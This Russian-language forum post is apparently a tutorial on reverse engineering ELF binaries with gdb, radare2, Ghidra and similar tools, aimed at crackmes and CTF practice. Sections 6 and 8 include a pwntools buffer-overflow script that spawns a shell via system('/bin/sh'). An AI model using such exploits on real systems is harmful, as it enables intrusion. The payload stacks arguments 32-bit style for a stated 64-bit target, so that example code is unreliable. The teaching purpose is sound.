!!!!!!!! !!!!!!!!!

by Administrator ·2026-07-02 06:53:13 ·1 replies ·3 views
#72
🔧 ПРАКТИКА REVERSE ENGINEERING
Лабораторная среда

Тебе понадобятся:

Kali Linux (основная машина)

Примеры уязвимых бинарных файлов (можно скачать с crackmes.one или использовать системные утилиты).

Инструменты: gdb, objdump, strings, strace, ltrace, radare2, ghidra, pwntools.

1. СБОР ИНФОРМАЦИИ О БИНАРНОМ ФАЙЛЕ (СТАТИЧЕСКИЙ АНАЛИЗ)
1.1. strings — Извлечение печатных строк

Цель: Посмотреть, какие строки есть в бинарном файле.
bash

strings /bin/ls
strings ./vuln

Что ищем: Пароли, имена файлов, сообщения об ошибках, флаги.
1.2. file — Определение типа файла
bash

file ./vuln

Результат: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped.
1.3. readelf — Анализ заголовков ELF

Цель: Посмотреть секции, символы, точку входа.
bash

readelf -h ./vuln
readelf -S ./vuln
readelf -s ./vuln

1.4. objdump — Дизассемблирование

Цель: Посмотреть ассемблерный код.
bash

objdump -d ./vuln
objdump -d -M intel ./vuln # Intel-синтаксис
objdump -T ./vuln # Динамические символы
objdump -t ./vuln # Символы

1.5. nm — Список символов
bash

nm ./vuln

Результат: Имена функций и глобальных переменных.
2. ДИНАМИЧЕСКИЙ АНАЛИЗ (ОТЛАДКА)
2.1. strace — Трассировка системных вызовов

Цель: Посмотреть, какие системные вызовы делает программа.
bash

strace ./vuln
strace -e open,read,write ./vuln # Фильтр по вызовам

Результат: Видно, какие файлы открываются, какие сокеты используются.
2.2. ltrace — Трассировка библиотечных вызовов

Цель: Посмотреть, какие функции из библиотек вызываются.
bash

ltrace ./vuln
ltrace -e printf,strcmp ./vuln # Фильтр

Результат: Видно, какие строки передаются в printf, strcmp.
2.3. gdb — GNU Debugger

Цель: Интерактивная отладка, установка точек останова, просмотр регистров и памяти.

Запуск gdb:
bash

gdb ./vuln

Основные команды:
bash

(gdb) info functions # Список функций
(gdb) disassemble main # Дизассемблировать main
(gdb) break main # Точка останова на main
(gdb) run # Запустить программу
(gdb) stepi # Шаг (одна инструкция)
(gdb) nexti # Шаг (перешагнуть вызовы)
(gdb) info registers # Показать регистры
(gdb) x/16x $rsp # Посмотреть 16 слов по адресу RSP
(gdb) x/s 0x555555555040 # Посмотреть строку по адресу
(gdb) continue # Продолжить выполнение
(gdb) quit # Выйти

Пример: Анализ уязвимой программы

Предположим, есть программа, которая запрашивает пароль.

Запусти gdb ./vuln.

Поставь брейк на main или на strcmp:
bash

(gdb) break strcmp
(gdb) run

Введи любой пароль.

Когда остановится на strcmp, посмотри содержимое регистров:
bash

(gdb) info registers
(gdb) x/s $rdi # Первый аргумент (введённый пароль)
(gdb) x/s $rsi # Второй аргумент (правильный пароль)

3. РАДИКАЛЬНЫЙ ПОДХОД: RADARE2

Цель: Мощный фреймворк для RE, альтернатива gdb.

Запуск:
bash

radare2 ./vuln

Основные команды:
bash

[0x00400400]> aaa # Анализ всех функций
[0x00400400]> afl # Список всех функций
[0x00400400]> s main # Перейти к main
[0x00400400]> pdf # Показать дизассемблированный код
[0x00400400]> V! # Визуальный режим
[0x00400400]> / bin # Поиск строки "bin"
[0x00400400]> wf # Записать файл

4. ПРОФЕССИОНАЛЬНЫЙ ИНСТРУМЕНТ: GHIDRA

Цель: Декомпиляция бинарного кода обратно в C-подобный код.

Установка:
bash

sudo apt install ghidra

Запуск:
bash

ghidra

Процесс:

Создай новый проект.

Импортируй бинарный файл (File → Import).

Дважды кликни на файл.

Нажми "Analyze" для анализа.

Посмотри на окно "Decompiler".

Ты увидишь C-подобный код функции main.

5. ПРАКТИЧЕСКИЙ ПРИМЕР: ВЗЛОМ ПРОГРАММЫ С ПАРОЛЕМ

Допустим, у нас есть программа vuln, которая спрашивает пароль.

Задача: Найти пароль без брутфорса.
5.1. strings
bash

strings vuln | grep -i password
strings vuln | grep -i secret

Результат: Может быть строка password123.
5.2. ltrace
bash

ltrace ./vuln

Результат: Видно вызов strcmp(input, "supersecret").
5.3. gdb
bash

gdb ./vuln
(gdb) break strcmp
(gdb) run
(gdb) info registers
(gdb) x/s $rsi

Результат: В $rsi лежит правильный пароль.
5.4. radare2
bash

radare2 ./vuln
> aaa
> s sym.main
> pdf
> / supersecret

Результат: Найдена строка supersecret.
5.5. Ghidra

Открой vuln в Ghidra. Найди функцию main. В декомпиляторе увидишь условие strcmp(local_input, "supersecret").
6. ПЕРЕПОЛНЕНИЕ БУФЕРА (ПРАКТИКА)

Цель: Перезаписать адрес возврата и выполнить шелл-код.

Сценарий: Программа vuln имеет уязвимость gets().
6.1. Проверка наличия уязвимости
bash

gdb ./vuln
(gdb) run
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

Если программа падает с Segmentation fault, есть переполнение.
6.2. Нахождение смещения

Используй pattern_create.rb из Metasploit:
bash

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

Вставь полученную строку в программу и посмотри, в каком регистре она оказалась.

Найди смещение:
bash

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41414141

6.3. Создание пейлоада

Найди адрес system() или execve:
bash

info functions
p system

Найди строку /bin/sh в памяти.

Собери пейлоад: [смещение][адрес_system][адрес_выхода][адрес_/bin/sh].

Отправка через Python:
python

from pwn import *

p = process('./vuln')
payload = b'A'*offset + p64(system_addr) + p64(exit_addr) + p64(binsh_addr)
p.sendline(payload)
p.interactive()

7. АНАЛИЗ ВРЕДОНОСНОГО ПО

Цель: Понять, что делает подозрительный файл без его выполнения.

Проверка хеша:
bash

md5sum malware
sha256sum malware

Проверка файла:
bash

file malware

Извлечение строк:
bash

strings malware | head -100

Проверка на упаковку (packing):
bash

upx -l malware

Анализ зависимостей:
bash

ldd malware

Трассировка системных вызовов:
bash

strace -f -e trace=network ./malware

8. АВТОМАТИЗАЦИЯ (PYTHON + PWNTOOLS)

Установка:
bash

pip3 install pwntools

Пример скрипта для переполнения буфера:
python

from pwn import *

context.binary = './vuln'
context.log_level = 'debug'

p = process('./vuln')
offset = 72
system_addr = 0x4005a0
binsh_addr = 0x4006c0

payload = b'A'*offset + p64(system_addr) + b'AAAA' + p64(binsh_addr)
p.sendline(payload)
p.interactive()

9. CTF-ЗАДАЧИ

Лучший способ практики — решение CTF-задач по RE.

Платформы:

crackmes.one — задачи разного уровня.

pwnable.tw — классические CTF.

ropemporium.com — задачи на ROP.

CyberTalents — арабские CTF.

TryHackMe / HackTheBox — есть RE-задачи.

10. ВЫВОДЫ

Reverse Engineering — это системный процесс:

Сбор информации (strings, file, readelf, objdump).

Динамический анализ (strace, ltrace, gdb, radare2, ghidra).

Поиск уязвимостей (переполнение буфера, форматная строка).

Написание эксплойта (Python + pwntools).

Помни: Всегда практикуйся на легальных целях (собственные программы, crackmes, CTF). Не запускай неизвестные бинарники в рабочей системе — используй изолированную среду (VM). Удачи.

Login to reply.